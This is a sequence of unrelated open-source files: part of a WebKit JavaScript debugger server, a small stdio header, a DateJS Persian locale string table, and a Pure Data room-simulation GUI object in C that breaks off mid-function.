JSLock lock(SilenceAssertionsOnly);
jsCallFrame = toJS(state, domGlobalObject, m_currentCallFrame.get());
} else
jsCallFrame = jsUndefined();
}
listener->didPause(state, ScriptValue(state->globalData(), jsCallFrame), ScriptValue());
}
void ScriptDebugServer::dispatchDidContinue(ScriptDebugListener* listener)
{
listener->didContinue();
}
void ScriptDebugServer::dispatchDidParseSource(const ListenerSet& listeners, SourceProvider* sourceProvider, bool isContentScript)
{
String sourceID = ustringToString(JSC::UString::number(sourceProvider->asID()));
String url = ustringToString(sourceProvider->url());
String data = ustringToString(JSC::UString(sourceProvider->data(), sourceProvider->length()));
int lineOffset = sourceProvider->startPosition().m_line.convertAsZeroBasedInt();
int columnOffset = sourceProvider->startPosition().m_column.convertAsZeroBasedInt();
int lineCount = 1;
int lastLineStart = 0;
for (size_t i = 0; i < data.length() - 1; ++i) {
if (data[i] == '\n') {
lineCount += 1;
lastLineStart = i + 1;
}
}
int endLine = lineOffset + lineCount - 1;
int endColumn;
if (lineCount == 1)
endColumn = data.length() + columnOffset;
else
endColumn = data.length() - lastLineStart;
Vector<ScriptDebugListener*> copy;
copyToVector(listeners, copy);
for (size_t i = 0; i < copy.size(); ++i)
copy[i]->didParseSource(sourceID, url, data, lineOffset, columnOffset, endLine, endColumn, isContentScript);
}
void ScriptDebugServer::dispatchFailedToParseSource(const ListenerSet& listeners, SourceProvider* sourceProvider, int errorLine, const String& errorMessage)
{
String url = ustringToString(sourceProvider->url());
String data = ustringToString(JSC::UString(sourceProvider->data(), sourceProvider->length()));
int firstLine = sourceProvider->startPosition().m_line.oneBasedInt();
Vector<ScriptDebugListener*> copy;
copyToVector(listeners, copy);
for (size_t i = 0; i < copy.size(); ++i)
copy[i]->failedToParseSource(url, data, firstLine, errorLine, errorMessage);
}
static bool isContentScript(ExecState* exec)
{
return currentWorld(exec) != mainThreadNormalWorld();
}
void ScriptDebugServer::detach(JSGlobalObject* globalObject)
{
// If we're detaching from the currently executing global object, manually tear down our
// stack, since we won't get further debugger callbacks to do so. Also, resume execution,
// since there's no point in staying paused once a window closes.
if (m_currentCallFrame && m_currentCallFrame->dynamicGlobalObject() == globalObject) {
m_currentCallFrame = 0;
m_pauseOnCallFrame = 0;
continueProgram();
}
Debugger::detach(globalObject);
}
void ScriptDebugServer::sourceParsed(ExecState* exec, SourceProvider* sourceProvider, int errorLine, const UString& errorMessage)
{
if (m_callingListeners)
return;
ListenerSet* listeners = getListenersForGlobalObject(exec->lexicalGlobalObject());
if (!listeners)
return;
ASSERT(!listeners->isEmpty());
m_callingListeners = true;
bool isError = errorLine != -1;
if (isError)
dispatchFailedToParseSource(*listeners, sourceProvider, errorLine, ustringToString(errorMessage));
else
dispatchDidParseSource(*listeners, sourceProvider, isContentScript(exec));
m_callingListeners = false;
}
void ScriptDebugServer::dispatchFunctionToListeners(const ListenerSet& listeners, JavaScriptExecutionCallback callback)
{
Vector<ScriptDebugListener*> copy;
copyToVector(listeners, copy);
for (size_t i = 0; i < copy.size(); ++i)
(this->*callback)(copy[i]);
}
void ScriptDebugServer::dispatchFunctionToListeners(JavaScriptExecutionCallback callback, JSGlobalObject* globalObject)
{
if (m_callingListeners)
return;
m_callingListeners = true;
if (ListenerSet* listeners = getListenersForGlobalObject(globalObject)) {
ASSERT(!listeners->isEmpty());
dispatchFunctionToListeners(*listeners, callback);
}
m_callingListeners = false;
}
void ScriptDebugServer::createCallFrameAndPauseIfNeeded(const DebuggerCallFrame& debuggerCallFrame, intptr_t sourceID, int lineNumber)
{
TextPosition0 textPosition(WTF::OneBasedNumber::fromOneBasedInt(lineNumber).convertToZeroBased(), WTF::ZeroBasedNumber::base());
m_currentCallFrame = JavaScriptCallFrame::create(debuggerCallFrame, m_currentCallFrame, sourceID, textPosition);
pauseIfNeeded(debuggerCallFrame.dynamicGlobalObject());
}
void ScriptDebugServer::updateCallFrameAndPauseIfNeeded(const DebuggerCallFrame& debuggerCallFrame, intptr_t sourceID, int lineNumber)
{
ASSERT(m_currentCallFrame);
if (!m_currentCallFrame)
return;
TextPosition0 textPosition(WTF::OneBasedNumber::fromOneBasedInt(lineNumber).convertToZeroBased(), WTF::ZeroBasedNumber::base());
m_currentCallFrame->update(debuggerCallFrame, sourceID, textPosition);
pauseIfNeeded(debuggerCallFrame.dynamicGlobalObject());
}
void ScriptDebugServer::pauseIfNeeded(JSGlobalObject* dynamicGlobalObject)
{
if (m_paused)
return;
if (!getListenersForGlobalObject(dynamicGlobalObject))
return;
bool pauseNow = m_pauseOnNextStatement;
pauseNow |= (m_pauseOnCallFrame == m_currentCallFrame);
pauseNow |= hasBreakpoint(m_currentCallFrame->sourceID(), m_currentCallFrame->position());
if (!pauseNow)
return;
m_pauseOnCallFrame = 0;
m_pauseOnNextStatement = false;
m_paused = true;
dispatchFunctionToListeners(&ScriptDebugServer::dispatchDidPause, dynamicGlobalObject);
didPause(dynamicGlobalObject);
TimerBase::fireTimersInNestedEventLoop();
EventLoop loop;
m_doneProcessingDebuggerEvents = false;
while (!m_doneProcessingDebuggerEvents && !loop.ended())
loop.cycle();
didContinue(dynamicGlobalObject);
dispatchFunctionToListeners(&ScriptDebugServer::dispatchDidContinue, dynamicGlobalObject);
m_paused = false;
}
void ScriptDebugServer::callEvent(const DebuggerCallFrame& debuggerCallFrame, intptr_t sourceID, int lineNumber)
{
if (!m_paused)
createCallFrameAndPauseIfNeeded(debuggerCallFrame, sourceID, lineNumber);
}
void ScriptDebugServer::atStatement(const DebuggerCallFrame& debuggerCallFrame, intptr_t sourceID, int lineNumber)
{
if (!m_paused)
updateCallFrameAndPauseIfNeeded(debuggerCallFrame, sourceID, lineNumber);
}
void ScriptDebugServer::returnEvent(const DebuggerCallFrame& debuggerCallFrame, intptr_t sourceID, int lineNumber)
{
if (m_paused)
return;
updateCallFrameAndPauseIfNeeded(debuggerCallFrame, sourceID, lineNumber);
// detach may have been called during pauseIfNeeded
if (!m_currentCallFrame)
return;
// Treat stepping over a return statement like stepping out.
if (m_currentCallFrame == m_pauseOnCallFrame)
m_pauseOnCallFrame = m_currentCallFrame->caller();
m_currentCallFrame = m_currentCallFrame->caller();
}
void ScriptDebugServer::exception(const DebuggerCallFrame& debuggerCallFrame, intptr_t sourceID, int lineNumber, bool hasHandler)
{
if (m_paused)
return;
if (m_pauseOnExceptionsState == PauseOnAllExceptions || (m_pauseOnExceptionsState == PauseOnUncaughtExceptions && !hasHandler))
m_pauseOnNextStatement = true;
updateCallFrameAndPauseIfNeeded(debuggerCallFrame, sourceID, lineNumber);
}
void ScriptDebugServer::willExecuteProgram(const DebuggerCallFrame& debuggerCallFrame, intptr_t sourceID, int lineNumber)
{
if (!m_paused)
createCallFrameAndPauseIfNeeded(debuggerCallFrame, sourceID, lineNumber);
}
void ScriptDebugServer::didExecuteProgram(const DebuggerCallFrame& debuggerCallFrame, intptr_t sourceID, int lineNumber)
{
if (m_paused)
return;
updateCallFrameAndPauseIfNeeded(debuggerCallFrame, sourceID, lineNumber);
// Treat stepping over the end of a program like stepping out.
if (m_currentCallFrame == m_pauseOnCallFrame)
m_pauseOnCallFrame = m_currentCallFrame->caller();
m_currentCallFrame = m_currentCallFrame->caller();
}
void ScriptDebugServer::didReachBreakpoint(const DebuggerCallFrame& debuggerCallFrame, intptr_t sourceID, int lineNumber)
{
if (m_paused)
return;
m_pauseOnNextStatement = true;
updateCallFrameAndPauseIfNeeded(debuggerCallFrame, sourceID, lineNumber);
}
void ScriptDebugServer::recompileAllJSFunctionsSoon()
{
m_recompileTimer.startOneShot(0);
}
} // namespace WebCore
#endif // ENABLE(JAVASCRIPT_DEBUGGER)
| {
"pile_set_name": "Github"
} |
/* copyright(C) 2003 H.Kawai (under KL-01). */
#if (!defined(STDIO_H))
#define STDIO_H 1
#if (defined(__cplusplus))
extern "C" {
#endif
#if (!defined(NULL))
#define NULL ((void *) 0)
#endif
#include <stdarg.h>
int sprintf(char *s, const char *format, ...);
int vsprintf(char *s, const char *format, va_list arg);
#if (defined(__cplusplus))
}
#endif
#endif
| {
"pile_set_name": "Github"
} |
/*
* DateJS Culture String File
* Country Code: fa-IR
* Name: Persian (Iran)
* Format: "key" : "value"
* Key is the en-US term, Value is the Key in the current language.
*/
Date.CultureStrings = Date.CultureStrings || {};
Date.CultureStrings["fa-IR"] = {
"name": "fa-IR",
"englishName": "Persian (Iran)",
"nativeName": "فارسى (ايران)",
"Sunday": "Sunday",
"Monday": "Monday",
"Tuesday": "Tuesday",
"Wednesday": "Wednesday",
"Thursday": "Thursday",
"Friday": "Friday",
"Saturday": "Saturday",
"Sun": "Sun",
"Mon": "Mon",
"Tue": "Tue",
"Wed": "Wed",
"Thu": "Thu",
"Fri": "Fri",
"Sat": "Sat",
"Su": "Su",
"Mo": "Mo",
"Tu": "Tu",
"We": "We",
"Th": "Th",
"Fr": "Fr",
"Sa": "Sa",
"S_Sun_Initial": "S",
"M_Mon_Initial": "M",
"T_Tue_Initial": "T",
"W_Wed_Initial": "W",
"T_Thu_Initial": "T",
"F_Fri_Initial": "F",
"S_Sat_Initial": "S",
"January": "January",
"February": "February",
"March": "March",
"April": "April",
"May": "May",
"June": "June",
"July": "July",
"August": "August",
"September": "September",
"October": "October",
"November": "November",
"December": "December",
"Jan_Abbr": "Jan",
"Feb_Abbr": "Feb",
"Mar_Abbr": "Mar",
"Apr_Abbr": "Apr",
"May_Abbr": "May",
"Jun_Abbr": "Jun",
"Jul_Abbr": "Jul",
"Aug_Abbr": "Aug",
"Sep_Abbr": "Sep",
"Oct_Abbr": "Oct",
"Nov_Abbr": "Nov",
"Dec_Abbr": "Dec",
"AM": "ق.ظ",
"PM": "ب.ظ",
"firstDayOfWeek": 0,
"twoDigitYearMax": 2029,
"mdy": "mdy",
"M/d/yyyy": "M/d/yyyy",
"dddd, MMMM dd, yyyy": "dddd, MMMM dd, yyyy",
"h:mm tt": "hh:mm tt",
"h:mm:ss tt": "hh:mm:ss tt",
"dddd, MMMM dd, yyyy h:mm:ss tt": "dddd, MMMM dd, yyyy hh:mm:ss tt",
"yyyy-MM-ddTHH:mm:ss": "yyyy-MM-ddTHH:mm:ss",
"yyyy-MM-dd HH:mm:ssZ": "yyyy-MM-dd HH:mm:ssZ",
"ddd, dd MMM yyyy HH:mm:ss": "ddd, dd MMM yyyy HH:mm:ss",
"MMMM dd": "MMMM dd",
"MMMM, yyyy": "MMMM, yyyy",
"/jan(uary)?/": "jan(uary)?",
"/feb(ruary)?/": "feb(ruary)?",
"/mar(ch)?/": "mar(ch)?",
"/apr(il)?/": "apr(il)?",
"/may/": "may",
"/jun(e)?/": "jun(e)?",
"/jul(y)?/": "jul(y)?",
"/aug(ust)?/": "aug(ust)?",
"/sep(t(ember)?)?/": "sep(t(ember)?)?",
"/oct(ober)?/": "oct(ober)?",
"/nov(ember)?/": "nov(ember)?",
"/dec(ember)?/": "dec(ember)?",
"/^su(n(day)?)?/": "^su(n(day)?)?",
"/^mo(n(day)?)?/": "^mo(n(day)?)?",
"/^tu(e(s(day)?)?)?/": "^tu(e(s(day)?)?)?",
"/^we(d(nesday)?)?/": "^we(d(nesday)?)?",
"/^th(u(r(s(day)?)?)?)?/": "^th(u(r(s(day)?)?)?)?",
"/^fr(i(day)?)?/": "^fr(i(day)?)?",
"/^sa(t(urday)?)?/": "^sa(t(urday)?)?",
"/^next/": "^next",
"/^last|past|prev(ious)?/": "^last|past|prev(ious)?",
"/^(\\+|aft(er)?|from|hence)/": "^(\\+|aft(er)?|from|hence)",
"/^(\\-|bef(ore)?|ago)/": "^(\\-|bef(ore)?|ago)",
"/^yes(terday)?/": "^yes(terday)?",
"/^t(od(ay)?)?/": "^t(od(ay)?)?",
"/^tom(orrow)?/": "^tom(orrow)?",
"/^n(ow)?/": "^n(ow)?",
"/^ms|milli(second)?s?/": "^ms|milli(second)?s?",
"/^sec(ond)?s?/": "^sec(ond)?s?",
"/^mn|min(ute)?s?/": "^mn|min(ute)?s?",
"/^h(our)?s?/": "^h(our)?s?",
"/^w(eek)?s?/": "^w(eek)?s?",
"/^m(onth)?s?/": "^m(onth)?s?",
"/^d(ay)?s?/": "^d(ay)?s?",
"/^y(ear)?s?/": "^y(ear)?s?",
"/^(a|p)/": "^(a|p)",
"/^(a\\.?m?\\.?|p\\.?m?\\.?)/": "^(a\\.?m?\\.?|p\\.?m?\\.?)",
"/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt|utc)/": "^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt|utc)",
"/^\\s*(st|nd|rd|th)/": "^\\s*(st|nd|rd|th)",
"/^\\s*(\\:|a(?!u|p)|p)/": "^\\s*(\\:|a(?!u|p)|p)",
"LINT": "LINT",
"TOT": "TOT",
"CHAST": "CHAST",
"NZST": "NZST",
"NFT": "NFT",
"SBT": "SBT",
"AEST": "AEST",
"ACST": "ACST",
"JST": "JST",
"CWST": "CWST",
"CT": "CT",
"ICT": "ICT",
"MMT": "MMT",
"BIOT": "BST",
"NPT": "NPT",
"IST": "IST",
"PKT": "PKT",
"AFT": "AFT",
"MSK": "MSK",
"IRST": "IRST",
"FET": "FET",
"EET": "EET",
"CET": "CET",
"UTC": "UTC",
"GMT": "GMT",
"CVT": "CVT",
"GST": "GST",
"BRT": "BRT",
"NST": "NST",
"AST": "AST",
"EST": "EST",
"CST": "CST",
"MST": "MST",
"PST": "PST",
"AKST": "AKST",
"MIT": "MIT",
"HST": "HST",
"SST": "SST",
"BIT": "BIT",
"CHADT": "CHADT",
"NZDT": "NZDT",
"AEDT": "AEDT",
"ACDT": "ACDT",
"AZST": "AZST",
"IRDT": "IRDT",
"EEST": "EEST",
"CEST": "CEST",
"BST": "BST",
"PMDT": "PMDT",
"ADT": "ADT",
"NDT": "NDT",
"EDT": "EDT",
"CDT": "CDT",
"MDT": "MDT",
"PDT": "PDT",
"AKDT": "AKDT",
"HADT": "HADT"
};
Date.CultureStrings.lang = "fa-IR";
| {
"pile_set_name": "Github"
} |
/* For information on usage and redistribution, and for a DISCLAIMER OF ALL
* WARRANTIES, see the file, "LICENSE.txt," in this distribution.
iemgui written by Thomas Musil, Copyright (c) IEM KUG Graz Austria 2000 - 2006 */
#include "m_pd.h"
#include "iemlib.h"
#include "iemgui.h"
#include "g_canvas.h"
#include "g_all_guis.h"
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <ctype.h>
#include <math.h>
#ifdef MSW
#include <io.h>
#else
#include <unistd.h>
#endif
#define IEM_GUI_ROOMSIM_2D_MAX_NR_SRC 30
/* ---------- room_sim_2d my gui-canvas for a window ---------------- */
t_widgetbehavior room_sim_2d_widgetbehavior;
static t_class *room_sim_2d_class;
typedef struct _room_sim_2d
{
t_iemgui x_gui;
t_float x_rho_head;
int x_fontsize;
int x_nr_src;
int x_pix_src_x[IEM_GUI_ROOMSIM_2D_MAX_NR_SRC + 1];
int x_pix_src_y[IEM_GUI_ROOMSIM_2D_MAX_NR_SRC + 1];
int x_col_src[IEM_GUI_ROOMSIM_2D_MAX_NR_SRC + 1];
int x_pos_x;
int x_pos_y;
int x_sel_index;
int x_pix_rad;
t_float x_cnvrt_roomlx2pixh;
t_float x_r_ambi;
t_float x_room_x;
t_float x_room_y;
t_symbol *x_s_head_xy;
t_symbol *x_s_src_xy;
void *x_out_para;
void *x_out_rho;
t_atom x_at[6];
} t_room_sim_2d;
static void room_sim_2d_out_rho(t_room_sim_2d *x)
{
outlet_float(x->x_out_rho, x->x_rho_head);
}
static void room_sim_2d_out_para(t_room_sim_2d *x)
{
int i, n = x->x_nr_src;
int w2 = x->x_gui.x_w / 2,
h2 = x->x_gui.x_h/2;
SETFLOAT(x->x_at, 0.0f);
SETSYMBOL(x->x_at+1, x->x_s_head_xy);
SETFLOAT(x->x_at+2, (t_float)(h2 - x->x_pix_src_y[0])/x->x_cnvrt_roomlx2pixh);
SETFLOAT(x->x_at+3, (t_float)(w2 - x->x_pix_src_x[0])/x->x_cnvrt_roomlx2pixh);
outlet_list(x->x_out_para, &s_list, 4, x->x_at);
for (i = 1; i <= n; i++)
{
SETFLOAT(x->x_at, (t_float)i);
SETSYMBOL(x->x_at+1, x->x_s_src_xy);
SETFLOAT(x->x_at+2,
(t_float)(h2 - x->x_pix_src_y[i]) / x->x_cnvrt_roomlx2pixh);
SETFLOAT(x->x_at+3,
(t_float)(w2 - x->x_pix_src_x[i]) / x->x_cnvrt_roomlx2pixh);
outlet_list(x->x_out_para, &s_list, 4, x->x_at);
}
}
static void room_sim_2d_draw_update(t_room_sim_2d *x, t_glist *glist)
{
if (glist_isvisible(glist))
{
int xpos = text_xpix(&x->x_gui.x_obj, glist);
int ypos = text_ypix(&x->x_gui.x_obj, glist);
int dx, dy;
t_canvas *canvas=glist_getcanvas(glist);
dx = -(int)((t_float)x->x_pix_rad * (t_float)sin(x->x_rho_head *
0.0174533f) + 0.49999f);
dy = -(int)((t_float)x->x_pix_rad * (t_float)cos(x->x_rho_head *
0.0174533f) + 0.49999f);
// sys_vgui(".x%x.c coords %xNOSE %d %d %d %d\n",
// canvas, x, xpos+x->x_pix_src_x[0], ypos+x->x_pix_src_y[0],
// xpos+x->x_pix_src_x[0]+dx, ypos+x->x_pix_src_y[0]+dy);
gui_vmess("gui_room_sim_update", "xxiiiii",
canvas,
x,
x->x_pix_src_x[0],
x->x_pix_src_y[0],
dx,
dy,
x->x_pix_rad
);
}
}
void room_sim_2d_draw_unmap(t_room_sim_2d *x, t_glist *glist)
{
gui_vmess("gui_room_sim_erase", "xx",
x->x_gui.x_glist, x);
}
void room_sim_2d_draw_map(t_room_sim_2d *x, t_glist *glist)
{
int xpos = text_xpix(&x->x_gui.x_obj, glist);
int ypos = text_ypix(&x->x_gui.x_obj, glist);
int dx, dy;
int i, n = x->x_nr_src;
int fs = x->x_fontsize;
t_canvas *canvas=glist_getcanvas(glist);
char fcol[MAXPDSTRING];
char bcol[MAXPDSTRING];
char elemcol[MAXPDSTRING];
sprintf(fcol, "#%6.6x", x->x_gui.x_fcol);
sprintf(bcol, "#%6.6x", x->x_gui.x_bcol);
gui_start_vmess("gui_room_sim_map", "xxiiifiiiss",
canvas,
x,
x->x_gui.x_w,
x->x_gui.x_h,
x->x_pix_rad,
x->x_rho_head,
x->x_pix_src_x[0],
x->x_pix_src_y[0],
x->x_fontsize,
fcol,
bcol
);
gui_start_array();
for(i = 1; i <= n; i++)
{
// sys_vgui(".x%x.c create text %d %d -text {%d} -anchor c \
// -font {times %d bold} -fill #%6.6x -tags %xSRC%d\n",
// canvas, xpos+x->x_pix_src_x[i], ypos+x->x_pix_src_y[i], i, fs,
// x->x_col_src[i], x, i);
gui_start_array();
gui_i(x->x_pix_src_x[i]);
gui_i(x->x_pix_src_y[i]);
sprintf(elemcol, "#%6.6x", x->x_col_src[i]);
gui_s(elemcol);
gui_end_array();
}
gui_end_array();
gui_end_vmess();
// sys_vgui(".x%x.c create oval %d %d %d %d -outline #%6.6x -tags %xHEAD\n",
// canvas, xpos+x->x_pix_src_x[0]-x->x_pix_rad, ypos+x->x_pix_src_y[0]-x->x_pix_rad,
// xpos+x->x_pix_src_x[0]+x->x_pix_rad-1, ypos+x->x_pix_src_y[0]+x->x_pix_rad-1,
// x->x_gui.x_fcol, x);
dx = -(int)((t_float)x->x_pix_rad*(t_float)sin(x->x_rho_head*0.0174533f) + 0.49999f);
dy = -(int)((t_float)x->x_pix_rad*(t_float)cos(x->x_rho_head*0.0174533f) + 0.49999f);
// sys_vgui(".x%x.c create line %d %d %d %d -width 3 -fill #%6.6x -tags %xNOSE\n",
// canvas, xpos+x->x_pix_src_x[0], ypos+x->x_pix_src_y[0],
// xpos+x->x_pix_src_x[0]+dx, ypos+x->x_pix_src_y[0]+dy,
// x->x_gui.x_fcol, x);
}
void room_sim_2d_draw_new(t_room_sim_2d *x, t_glist *glist)
{
int xpos = text_xpix(&x->x_gui.x_obj, glist);
int ypos = text_ypix(&x->x_gui.x_obj, glist);
int dx, dy;
int i, n = x->x_nr_src;
int fs = x->x_fontsize;
t_canvas *canvas=glist_getcanvas(glist);
gui_vmess("gui_room_sim_new", "xxiiiii",
canvas,
x,
xpos,
ypos,
x->x_gui.x_w,
x->x_gui.x_h,
glist_istoplevel(glist)
);
room_sim_2d_draw_map(x, glist);
/* sys_vgui(".x%x.c create rectangle %d %d %d %d -fill #%6.6x -outline #%6.6x -tags %xBASE\n",
canvas, xpos, ypos, xpos + x->x_gui.x_w, ypos + x->x_gui.x_h,
x->x_gui.x_bcol, x->x_gui.x_fsf.x_selected?IEM_GUI_COLOR_SELECTED:IEM_GUI_COLOR_NORMAL, x);
*/
// for(i=1; i<=n; i++)
// {
// sys_vgui(".x%x.c create text %d %d -text {%d} -anchor c \
// -font {times %d bold} -fill #%6.6x -tags %xSRC%d\n",
// canvas, xpos+x->x_pix_src_x[i], ypos+x->x_pix_src_y[i], i, fs,
// x->x_col_src[i], x, i);
// }
// sys_vgui(".x%x.c create oval %d %d %d %d -outline #%6.6x -tags %xHEAD\n",
// canvas, xpos+x->x_pix_src_x[0]-x->x_pix_rad, ypos+x->x_pix_src_y[0]-x->x_pix_rad,
// xpos+x->x_pix_src_x[0]+x->x_pix_rad-1, ypos+x->x_pix_src_y[0]+x->x_pix_rad-1,
// x->x_gui.x_fcol, x);
// dx = -(int)((t_float)x->x_pix_rad*(t_float)sin(x->x_rho_head*0.0174533f) + 0.49999f);
// dy = -(int)((t_float)x->x_pix_rad*(t_float)cos(x->x_rho_head*0.0174533f) + 0.49999f);
// sys_vgui(".x%x.c create line %d %d %d %d -width 3 -fill #%6.6x -tags %xNOSE\n",
// canvas, xpos+x->x_pix_src_x[0], ypos+x->x_pix_src_y[0],
// xpos+x->x_pix_src_x[0]+dx, ypos+x->x_pix_src_y[0]+dy,
// x->x_gui.x_fcol, x);
}
/*
void room_sim_2d_draw_move(t_room_sim_2d *x, t_glist *glist)
{
int xpos=text_xpix(&x->x_gui.x_obj, glist);
int ypos=text_ypix(&x->x_gui.x_obj, glist);
int dx, dy;
int i, n;
t_canvas *canvas=glist_getcanvas(glist);
sys_vgui(".x%x.c coords %xBASE %d %d %d %d\n",
canvas, x, xpos, ypos, xpos + x->x_gui.x_w, ypos + x->x_gui.x_h);
n = x->x_nr_src;
for(i=1; i<=n; i++)
{
sys_vgui(".x%x.c coords %xSRC%d %d %d\n",
canvas, x, i, xpos+x->x_pix_src_x[i], ypos+x->x_pix_src_y[i]);
}
sys_vgui(".x%x.c coords %xHEAD %d %d %d %d\n",
canvas, x, xpos+x->x_pix_src_x[0]-x->x_pix_rad, ypos+x->x_pix_src_y[0]-x->x_pix_rad,
xpos+x->x_pix_src_x[0]+x->x_pix_rad-1, ypos+x->x_pix_src_y[0]+x->x_pix_rad-1);
dx = -(int)((t_float)x->x_pix_rad*(t_float)sin(x->x_rho_head*0.0174533f) + 0.49999f);
dy = -(int)((t_float)x->x_pix_rad*(t_float)cos(x->x_rho_head*0.0174533f) + 0.49999f);
sys_vgui(".x%x.c coords %xNOSE %d %d %d %d\n",
canvas, x, xpos+x->x_pix_src_x[0], ypos+x->x_pix_src_y[0],
xpos+x->x_pix_src_x[0]+dx, ypos+x->x_pix_src_y[0]+dy);
}
*/
void room_sim_2d_draw(t_room_sim_2d *x, t_glist *glist, int mode)
{
if (mode == IEM_GUI_DRAW_MODE_UPDATE)
room_sim_2d_draw_update(x, glist);
else if (mode == IEM_GUI_DRAW_MODE_MOVE)
iemgui_base_draw_move(&x->x_gui);
else if (mode == IEM_GUI_DRAW_MODE_NEW)
room_sim_2d_draw_new(x, glist);
/*
else if (mode == IEM_GUI_DRAW_MODE_SELECT)
room_sim_2d_draw_select(x, glist);
else if (mode == IEM_GUI_DRAW_MODE_ERASE)
room_sim_2d_draw_erase(x, glist);
*/
}
/* ------------------------ cnv widgetbehaviour----------------------------- */
static void room_sim_2d_getrect(t_gobj *z, t_glist *glist, int *xp1, int *yp1, int *xp2, int *yp2)
{
t_room_sim_2d *x = (t_room_sim_2d *)z;
*xp1 = text_xpix(&x->x_gui.x_obj, glist);
*yp1 = text_ypix(&x->x_gui.x_obj, glist);
*xp2 = *xp1 + x->x_gui.x_w;
*yp2 = *yp1 + x->x_gui.x_h;
}
static void room_sim_2d_save(t_gobj *z, t_binbuf *b)
{
t_room_sim_2d *x = (t_room_sim_2d *)z;
int i, j, c, n=x->x_nr_src;
binbuf_addv(b, "ssiis", gensym("#X"),gensym("obj"),
(t_int)x->x_gui.x_obj.te_xpix, (t_int)x->x_gui.x_obj.te_ypix,
atom_getsymbol(binbuf_getvec(x->x_gui.x_obj.te_binbuf))
);
binbuf_addv(b, "ifffi", x->x_nr_src, x->x_cnvrt_roomlx2pixh, x->x_rho_head, x->x_r_ambi, x->x_fontsize);
c = x->x_gui.x_bcol;
j = (((0xfc0000 & c) >> 6)|((0xfc00 & c) >> 4)|((0xfc & c) >> 2));
binbuf_addv(b, "iff", j, x->x_room_x, x->x_room_y);
c = x->x_gui.x_fcol;
j = (((0xfc0000 & c) >> 6)|((0xfc00 & c) >> 4)|((0xfc & c) >> 2));
binbuf_addv(b, "iii", j, x->x_pix_src_x[0], x->x_pix_src_y[0]);
for(i=1; i<=n; i++)
{
c = x->x_col_src[i];
j = (((0xfc0000 & c) >> 6)|((0xfc00 & c) >> 4)|((0xfc & c) >> 2));
binbuf_addv(b, "iii", j, x->x_pix_src_x[i], x->x_pix_src_y[i]);
}
binbuf_addv(b, ";");
}
static void room_sim_2d_motion(t_room_sim_2d *x, t_floatarg dx, t_floatarg dy)
{
int sel = x->x_sel_index;
int pixrad = x->x_pix_rad;
int xpos = text_xpix(&x->x_gui.x_obj, x->x_gui.x_glist);
int ypos = text_ypix(&x->x_gui.x_obj, x->x_gui.x_glist);
// int ddx, ddy;
t_canvas *canvas=glist_getcanvas(x->x_gui.x_glist);
if (x->x_gui.x_finemoved && (sel == 0))
{
x->x_rho_head -= dy;
if(x->x_rho_head <= -180.0f)
x->x_rho_head += 360.0f;
if(x->x_rho_head > 180.0f)
x->x_rho_head -= 360.0f;
room_sim_2d_out_rho(x);
(*x->x_gui.x_draw)(x, x->x_gui.x_glist, IEM_GUI_DRAW_MODE_UPDATE);
}
else if (sel == 0)
{
x->x_pos_x += (int)dx;
x->x_pos_y += (int)dy;
x->x_pix_src_x[0] = x->x_pos_x;
x->x_pix_src_y[0] = x->x_pos_y;
if (x->x_pix_src_x[0] < 0)
x->x_pix_src_x[0] = 0;
if (x->x_pix_src_x[0] > x->x_gui.x_w)
x->x_pix_src_x[0] = x->x_gui.x_w;
if (x->x_pix_src_y[0] < 0)
x->x_pix_src_y[0] = 0;
if (x->x_pix_src_y[0] > x->x_gui.x_h)
x->x_pix_src_y[0] = x->x_gui.x_h;
room_sim_2d_out_para(x);
// sys_vgui(".x%x.c coords %xHEAD %d %d %d %d\n",
// canvas, x, xpos+x->x_pix_src_x[0]-pixrad, ypos+x->x_pix_src_y[0]-pixrad,
// xpos+x->x_pix_src_x[0]+pixrad-1, ypos+x->x_pix_src_y[0]+pixrad-1);
// ddx = -(int)((t_float)pixrad*(t_float)sin(x->x_rho_head*0.0174533f) + 0.49999f);
// ddy = -(int)((t_float)pixrad*(t_float)cos(x->x_rho_head*0.0174533f) + 0.49999f);
// sys_vgui(".x%x.c coords %xNOSE %d %d %d %d\n",
// canvas, x, xpos+x->x_pix_src_x[0], ypos+x->x_pix_src_y[0],
// xpos+x->x_pix_src_x[0]+ddx, ypos+x->x_pix_src_y[0]+ddy);
(*x->x_gui.x_draw)(x, x->x_gui.x_glist, IEM_GUI_DRAW_MODE_UPDATE);
}
else
{
char col[MAXPDSTRING];
x->x_pos_x += (int)dx;
x->x_pos_y += (int)dy;
x->x_pix_src_x[sel] = x->x_pos_x;
x->x_pix_src_y[sel] = x->x_pos_y;
if (x->x_pix_src_x[sel] < 0)
x->x_pix_src_x[sel] = 0;
if (x->x_pix_src_x[sel] > x->x_gui.x_w)
x->x_pix_src_x[sel] = x->x_gui.x_w;
if (x->x_pix_src_y[sel] < 0)
x->x_pix_src_y[sel] = 0;
if (x->x_pix_src_y[sel] > x->x_gui.x_h)
x->x_pix_src_y[sel] = x->x_gui.x_h;
room_sim_2d_out_para(x);
// sys_vgui(".x%x.c coords %xSRC%d %d %d\n",
// canvas, x, sel, xpos+x->x_pix_src_x[sel], ypos+x->x_pix_src_y[sel]);
sprintf(col, "#%6.6x", x->x_col_src[sel]);
gui_vmess("gui_room_sim_update_src", "xxiiiis",
canvas,
x,
sel - 1,
x->x_pix_src_x[sel],
x->x_pix_src_y[sel],
x->x_fontsize,
col
);
}
}
static void room_sim_2d_click(t_room_sim_2d *x, t_floatarg xpos, t_floatarg ypos,
t_floatarg shift, t_floatarg ctrl, t_floatarg alt)
{
int w = (int)xpos - text_xpix(&x->x_gui.x_obj, x->x_gui.x_glist);
int h = (int)ypos - text_ypix(&x->x_gui.x_obj, x->x_gui.x_glist);
int i, n = x->x_nr_src;
int pixrad = x->x_pix_rad;
int fsi = x->x_fontsize;
int diff, maxdiff = 10000, sel =- 1;
i = 0;/* head */
if ((w >= (x->x_pix_src_x[i] - pixrad)) &&
(w <= (x->x_pix_src_x[i] + pixrad)) &&
(h >= (x->x_pix_src_y[i] - pixrad)) &&
(h <= (x->x_pix_src_y[i] + pixrad)))
{
diff = w - x->x_pix_src_x[i];
if (diff < 0)
diff *= -1;
if (diff < maxdiff)
{
maxdiff = diff;
sel = i;
}
diff = h - x->x_pix_src_y[i];
if (diff < 0)
diff *= -1;
if (diff < maxdiff)
{
